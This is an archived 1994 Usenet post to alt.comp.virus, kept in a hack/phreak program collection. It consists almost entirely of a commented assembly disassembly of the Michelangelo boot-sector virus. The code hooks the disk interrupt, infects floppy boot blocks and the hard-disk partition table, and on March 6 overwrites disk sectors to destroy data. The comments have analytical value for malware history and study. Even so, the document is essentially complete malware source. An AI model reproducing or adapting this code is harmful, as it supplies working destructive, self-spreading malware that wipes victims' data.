home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / MICHELAN.ZIP / MichelAn.asm
Assembly Source File  |  1994-11-29  |  10KB  |  264 lines

  1. From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:45:29 1994
  2. Xref: netcom.com alt.comp.virus:511
  3. Path: netcom.com!ix.netcom.com!netnews
  4. From: Zeppelin@ix.netcom.com (Mr. G)
  5. Newsgroups: alt.comp.virus
  6. Subject: Ye Ole MichelAngelo Virus
  7. Date: 29 Nov 1994 13:19:53 GMT
  8. Organization: Netcom
  9. Lines: 248
  10. Distribution: world
  11. Message-ID: <3bf9pp$iil@ixnews1.ix.netcom.com>
  12. References: <sbringerD00yHv.Hs3@netcom.com> <bradleymD011vJ.Lp8@netcom.com>
  13. NNTP-Posting-Host: ix-pas2-10.ix.netcom.com
  14.  
  15. ; This is a disassembly of the much-hyped michelangelo virus.
  16. ; As you can see, it is a derivative of the Stoned virus.  The
  17. ; junk bytes at the end of the file are probably throwbacks to
  18. ; the Stoned virus.  In any case, it is yet another boot sector
  19. ; and partition table infector.
  20.  
  21. michelangelo    segment byte public
  22.                 assume  cs:michelangelo, ds:michelangelo
  23.                 org     0
  24.  
  25.                 jmp     entervirus
  26. highmemjmp      db      0F5h, 00h, 80h, 9Fh
  27. maxhead         db      2                       ; used by damagestuff
  28. firstsector     dw      3
  29. oldint13h       dd      0C8000256h
  30.  
  31. int13h:
  32.                 push    ds
  33.                 push    ax
  34.                 or      dl, dl                  ; default drive?
  35.                 jnz     exitint13h              ; exit if not
  36.                 xor     ax, ax
  37.                 mov     ds, ax
  38.                 test    byte ptr ds:[43fh], 1   ; disk 0 on?
  39.                 jnz     exitint13h              ; if not spinning, exit
  40.                 pop     ax
  41.                 pop     ds
  42.                 pushf
  43.                 call    dword ptr cs:[oldint13h]; first call old int 13h
  44.                 pushf
  45.                 call    infectdisk              ; then infect
  46.                 popf
  47.                 retf    2
  48. exitint13h:     pop     ax
  49.                 pop     ds
  50.                 jmp     dword ptr cs:[oldint13h]
  51.  
  52. infectdisk:
  53.                 push    ax
  54.                 push    bx
  55.                 push    cx
  56.                 push    dx
  57.                 push    ds
  58.                 push    es
  59.                 push    si
  60.                 push    di
  61.                 push    cs
  62.                 pop     ds
  63.                 push    cs
  64.                 pop     es
  65.                 mov     si, 4
  66. readbootblock:
  67.                 mov     ax,201h                 ; Read boot block to
  68.                 mov     bx,200h                 ; after virus
  69.                 mov     cx,1
  70.                 xor     dx,dx
  71.                 pushf
  72.                 call    oldint13h
  73.                 jnc     checkinfect             ; continue if no error
  74.                 xor     ax,ax
  75.                 pushf
  76.                 call    oldint13h               ; Reset disk
  77.                 dec     si                      ; loop back
  78.                 jnz     readbootblock
  79.                 jmp     short quitinfect        ; exit if too many 
  80. failures
  81. checkinfect:
  82.                 xor     si,si
  83.                 cld
  84.                 lodsw
  85.                 cmp     ax,[bx]                 ; check if already 
  86. infected
  87.                 jne     infectitnow
  88.                 lodsw
  89.                 cmp     ax,[bx+2]               ; check again
  90.                 je      quitinfect
  91. infectitnow:
  92.                 mov     ax,301h                 ; Write old boot block
  93.                 mov     dh,1                    ; to head 1
  94.                 mov     cl,3                    ; sector 3
  95.                 cmp     byte ptr [bx+15h],0FDh  ; 360k disk?
  96.                 je      is360Kdisk
  97.                 mov     cl,0Eh
  98. is360Kdisk:
  99.                 mov     firstsector,cx
  100.                 pushf
  101.                 call    oldint13h
  102.                 jc      quitinfect              ; exit on error
  103.                 mov     si,200h+offset partitioninfo
  104.                 mov     di,offset partitioninfo
  105.                 mov     cx,21h                  ; Copy partition table
  106.                 cld
  107.                 rep     movsw
  108.                 mov     ax,301h                 ; Write virus to sector 
  109. 1
  110.                 xor     bx,bx
  111.                 mov     cx,1
  112.                 xor     dx,dx
  113.                 pushf
  114.                 call    oldint13h
  115. quitinfect:
  116.                 pop     di
  117.                 pop     si
  118.                 pop     es
  119.                 pop     ds
  120.                 pop     dx
  121.                 pop     cx
  122.                 pop     bx
  123.                 pop     ax
  124.                 retn
  125. entervirus:
  126.                 xor     ax,ax
  127.                 mov     ds,ax
  128.                 cli
  129.                 mov     ss,ax
  130.                 mov     ax,7C00h                ; Set stack to just 
  131. below
  132.                 mov     sp,ax                   ; virus load point
  133.                 sti
  134.                 push    ds                      ; save 0:7C00h on stack 
  135. for
  136.                 push    ax                      ; later retf
  137.                 mov     ax,ds:[13h*4]
  138.                 mov     word ptr ds:[7C00h+offset oldint13h],ax
  139.                 mov     ax,ds:[13h*4+2]
  140.                 mov     word ptr ds:[7C00h+offset oldint13h+2],ax
  141.                 mov     ax,ds:[413h]            ; memory size in K
  142.                 dec     ax                      ; 1024 K
  143.                 dec     ax
  144.                 mov     ds:[413h],ax            ; move new value in
  145.                 mov     cl,6
  146.                 shl     ax,cl                   ; ax = paragraphs of 
  147. memory
  148.                 mov     es,ax                   ; next line sets seg of 
  149. jmp
  150.                 mov     word ptr ds:[7C00h+2+offset highmemjmp],ax
  151.                 mov     ax,offset int13h
  152.                 mov     ds:[13h*4],ax
  153.                 mov     ds:[13h*4+2],es
  154.                 mov     cx,offset partitioninfo
  155.                 mov     si,7C00h
  156.                 xor     di,di
  157.                 cld
  158.                 rep     movsb                   ; copy to high memory
  159.                                                 ; and transfer control 
  160. there
  161.                 jmp     dword ptr cs:[7C00h+offset highmemjmp]
  162. ; destination of highmem jmp
  163.                 xor     ax,ax
  164.                 mov     es,ax
  165.                 int     13h                     ; reset disk
  166.                 push    cs
  167.                 pop     ds
  168.                 mov     ax,201h
  169.                 mov     bx,7C00h
  170.                 mov     cx,firstsector
  171.                 cmp     cx,7                    ; hard disk infection?
  172.                 jne     floppyboot              ; if not, do floppies
  173.                 mov     dx,80h                  ; Read old partition 
  174. table of
  175.                 int     13h                     ; first hard disk to 
  176. 0:7C00h
  177.                 jmp     short exitvirus
  178. floppyboot:
  179.                 mov     cx,firstsector          ; read old boot block
  180.                 mov     dx,100h                 ; to 0:7C00h
  181.                 int     13h
  182.                 jc      exitvirus
  183.                 push    cs
  184.                 pop     es
  185.                 mov     ax,201h                 ; read boot block
  186.                 mov     bx,200h                 ; of first hard disk
  187.                 mov     cx,1
  188.                 mov     dx,80h
  189.                 int     13h
  190.                 jc      exitvirus
  191.                 xor     si,si
  192.                 cld
  193.                 lodsw
  194.                 cmp     ax,[bx]                 ; is it infected?
  195.                 jne     infectharddisk          ; if not, infect HD
  196.                 lodsw                           ; check infection
  197.                 cmp     ax,[bx+2]
  198.                 jne     infectharddisk
  199. exitvirus:
  200.                 xor     cx,cx                   ; Real time clock get 
  201. date
  202.                 mov     ah,4                    ; dx = mon/day
  203.                 int     1Ah
  204.                 cmp     dx,306h                 ; March 6th
  205.                 je      damagestuff
  206.                 retf                            ; return control to 
  207. original
  208.                                                 ; boot block @ 0:7C00h
  209. damagestuff:
  210.                 xor     dx,dx
  211.                 mov     cx,1
  212. smashanothersector:
  213.                 mov     ax,309h
  214.                 mov     si,firstsector
  215.                 cmp     si,3
  216.                 je      smashit
  217.                 mov     al,0Eh
  218.                 cmp     si,0Eh
  219.                 je      smashit
  220.                 mov     dl,80h                  ; first hard disk
  221.                 mov     maxhead,4
  222.                 mov     al,11h
  223. smashit:
  224.                 mov     bx,5000h                ; random memory area
  225.                 mov     es,bx                   ; at 5000h:5000h
  226.                 int     13h                     ; Write al sectors to 
  227. drive dl
  228.                 jnc     skiponerror             ; skip on error
  229.                 xor     ah,ah                   ; Reset disk drive dl
  230.                 int     13h
  231. skiponerror:
  232.                 inc     dh                      ; next head
  233.                 cmp     dh,maxhead              ; 2 if floppy, 4 if HD
  234.                 jb      smashanothersector
  235.                 xor     dh,dh                   ; go to next 
  236. head/cylinder
  237.                 inc     ch
  238.                 jmp     short smashanothersector
  239. infectharddisk:
  240.                 mov     cx,7                    ; Write partition table 
  241. to
  242.                 mov     firstsector,cx          ; sector 7
  243.                 mov     ax,301h
  244.                 mov     dx,80h
  245.                 int     13h
  246.                 jc      exitvirus
  247.                 mov     si,200h+offset partitioninfo ; Copy partition
  248.                 mov     di,offset partitioninfo      ; table information
  249.                 mov     cx,21h
  250.                 rep     movsw
  251.                 mov     ax,301h                 ; Write to sector 8
  252.                 xor     bx,bx                   ; Copy virus to sector 1
  253.                 inc     cl
  254.                 int     13h
  255. ;*              jmp     short 01E0h
  256.                 db      0EBh, 32h               ; ?This should crash?
  257. ; The following bytes are meaningless.
  258. garbage         db      1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
  259. partitioninfo:  db      42h dup (0)
  260. michelangelo    ends
  261.                 end
  262.  
  263.  
  264.